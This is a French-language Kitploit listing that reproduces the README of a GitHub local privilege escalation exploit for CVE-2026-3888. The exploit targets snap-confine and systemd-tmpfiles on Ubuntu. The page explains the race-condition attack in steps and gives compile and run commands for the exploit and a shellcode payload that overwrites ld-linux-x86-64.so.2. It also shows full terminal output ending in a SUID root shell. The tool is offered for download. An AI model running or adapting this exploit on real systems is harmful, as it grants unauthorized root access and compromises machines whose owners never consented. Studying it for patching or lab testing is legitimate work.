Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-3888-snap-confine-systemd-tmpfiles-LPE — Exploit d'élévation de privilèges locale pour CVE-2026-3888 ciblant snap-confine et systemd-tmpfiles sur Ubuntu, fournissant des variantes SUID et capabilities pour obtenir un accès root. | Kitploit
Outils/GitHubGitHub/thecybergeek/cve-2026-3888-snap-confine-systemd-tmpfiles-lpe
Escalade de PrivilègesFrameworks d'ExploitationAnalyse des VulnérabilitésExploitationTests d'IntrusionApprentissage et ÉducationRed TeamingExploitation de BinairesLabs et Pratique

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
GitHubthecybergeek/cve-2026-3888-snap-confine-systemd-tmpfiles-lpe

CVE-2026-3888-snap-confine-systemd-tmpfiles-LPE

Exploit d'élévation de privilèges locale pour CVE-2026-3888 ciblant snap-confine et systemd-tmpfiles sur Ubuntu, fournissant des variantes SUID et capabilities pour obtenir un accès root.

Voir le dépôt
18222il y a 6 moisPas encore vérifié

CVE-2026-3888 — Élévation de privilèges locale snap-confine / systemd-tmpfiles

Élévation de privilèges locale d'un utilisateur non privilégié à root complet sur Ubuntu Desktop 24.04+ en exploitant une condition de course TOCTOU entre snap-confine et systemd-tmpfiles. Deux variantes sont fournies : SUID et Capabilities.

CVSS : 7.8 (Élevé) | Avis de sécurité : Qualys | Correctif : snapd 2.74.2, 17 mars 2026

Table des matières

  • Comparaison des variantes
  • Variante 1 — SUID
    • Fonctionnement
    • Fichiers
    • Compilation
    • Utilisation
    • Prérequis
    • Sortie
  • Variante 2 — Capabilities
    • Fonctionnement
    • Fichiers
    • Compilation
    • Utilisation
    • Prérequis
    • Sortie
  • Configuration du laboratoire
  • Avertissement

Comparaison des variantes

Ubuntu 24.04 (SUID)Ubuntu 25.10 (Capabilities)
snap-confineSUID-rootCapabilities (cap_sys_admin, etc.)
Snap ciblefirefoxsnap-store
Imitation de la cible/usr/lib/x86_64-linux-gnu (~285 entrées)/var/lib (~17 entrées)
Vecteur d'exploitationÉcrasement de ld-linux-x86-64.so.2 avec du shellcodeContrôle de user-fstab + ld.so.preload
Format de la charge utileELF statique avec appels système brutsBibliothèque partagée avec __attribute__((constructor))
Déclencheur rootLe snap-confine SUID charge le lieur dynamique empoisonnéLe su SUID dans /tmp/.snap précharge le .so
Exigence cgroupTout nom snap.*Correspondance exacte : snap.snap-store.hook.configure
Nettoyage .snap30 jours10 jours
Évasion du sandbox/var/snap/firefox/common/bash/var/snap/snap-store/common/bash

Variante 1 — SUID

Fonctionnement

  1. systemd-tmpfiles supprime le répertoire d'imitation .snap obsolète sous /tmp (expiration après 30 jours)
  2. L'attaquant le recrée avec un contenu contrôlé — tous les fichiers appartiennent à l'attaquant
  3. L'exploit exécute pas à pas snap-confine via la contre-pression de socket AF_UNIX pour gagner la course de manière fiable pendant la séquence de bind-mount d'imitation
  4. Les bibliothèques appartenant à l'attaquant sont montées dans le sandbox en tant que root
  5. ld-linux-x86-64.so.2 est remplacé par un shellcode qui appelle setreuid(0,0) + execve
  6. L'exécution du snap-confine SUID déclenche le shellcode avec les privilèges root
  7. Un bash SUID est déposé dans /var/snap/firefox/common/ pour s'échapper du sandbox

Fichiers

FichierDescription
exploit_suid.cExploit unifié en un seul binaire — les 7 phases dans un orchestrateur basé sur fork
librootshell_suid.cCharge utile — ELF minimal qui remplace ld-linux-x86-64.so.2 via des appels système x86_64 bruts

Compilation

gcc -O2 -static -o exploit exploit_suid.c
gcc -nostdlib -static -Wl,--entry=_start -o librootshell.so librootshell_suid.c

Les deux doivent être compilés sur (ou compilés en croisé pour) Linux x86_64. exploit est lié statiquement afin de s'exécuter dans le sandbox snap sans dépendances de bibliothèques. librootshell.so utilise -nostdlib car il ne contient que des appels système bruts — pas de libc.

Utilisation

./exploit <librootshell.so> [-d] [-s]
OptionDescription
-dAfficher la sortie de débogage de snap-confine (mode verbeux)
-sIgnorer l'attente du nettoyage .snap (nécessite le mot de passe root)
# Exécution normale
./exploit ./librootshell.so

# Mode débogage
./exploit ./librootshell.so -d

# Nouvelle tentative après échec
./exploit ./librootshell.so -s

L'exploit entre dans le sandbox, attend que systemd-tmpfiles supprime .snap (jusqu'à 10 jours sur Ubuntu 25.10 standard et jusqu'à 30 jours sur Ubuntu 24.04 standard), puis exécute la course automatiquement. En cas de succès, il ouvre un shell root.

Prérequis

  • Ubuntu 24.04+ avec snapd non corrigé (< 2.74.2)
  • snap-confine doit être SUID-root (-rwsr-xr-x 1 root root /usr/lib/snapd/snap-confine)
  • Un snap avec des bind-mounts de layout installé (firefox, snap-store, etc.)
  • systemd-tmpfiles-clean.timer actif
  • busybox disponible sur la cible (/usr/bin/busybox)

Sortie

user@ubuntu:~$ snap --version
snap    2.63.1+24.04
snapd   2.63.1+24.04
series  16
ubuntu  24.04
kernel  6.17.0-19-generic
user@ubuntu:~$ cat /etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=24.04
DISTRIB_CODENAME=noble
DISTRIB_DESCRIPTION="Ubuntu 24.04.4 LTS"
user@ubuntu:~$ id
uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),116(lpadmin)
user@ubuntu:~$ ./exploit ./librootshell.so
================================================================
    CVE-2026-3888 — Élévation de privilèges locale SUID snap-confine / systemd-tmpfiles
================================================================
[*] Charge utile : /home/user/./librootshell.so (9056 octets)

[Phase 1] Entrée dans le sandbox Firefox...
[+] PID du shell interne : 3122

[Phase 2] Attente de la suppression de .snap...
[*] Interrogation (jusqu'à 30 jours sur Ubuntu standard).
[*] Astuce : utilisez -s pour ignorer.
[+] .snap supprimé.

[Phase 3] Destruction de l'espace de noms de montage en cache...
cannot perform operation: mount --rbind /dev /tmp/snap.rootfs_sygTaK//dev: No such file or directory
[+] Espace de noms détruit.

[Phase 4] Configuration et exécution de la course...
[*]   Répertoire de travail : /proc/3122/cwd
[*]   Construction de .snap et .exchange...
[*]   285 entrées copiées dans le répertoire d'échange
[*]   Démarrage de la course...
[*]   Surveillance de snap-confine (PID enfant 3543)...

[!]   DÉCLENCHEMENT — échange des répertoires...
[+]   ÉCHANGE TERMINÉ — course gagnée !
[*]   ld-linux dans l'espace de noms : user:user 755
[+]   PID de l'espace de noms empoisonné : 3543

[Phase 5] Injection de la charge utile dans l'espace de noms empoisonné...
[+]   ld-linux appartient à l'uid 1000 (attaquant). Course confirmée.
[*]   Installation de busybox...
[*]   Écriture du script d'évasion → /tmp/sh
[*]   Écrasement de ld-linux-x86-64.so.2...
[+]   Charge utile injectée.

[Phase 6] Déclenchement de root via snap-confine SUID...
[*]   snap-confine → snap-confine (déclencheur SUID)
[*]   Statut de sortie : 0

[Phase 7] Vérification...
[+] bash root SUID : /var/snap/firefox/common/bash (mode 4755)
[*] Nettoyage des processus en arrière-plan...

================================================================
  SHELL ROOT : /var/snap/firefox/common/bash -p
================================================================
Télécharger l’outil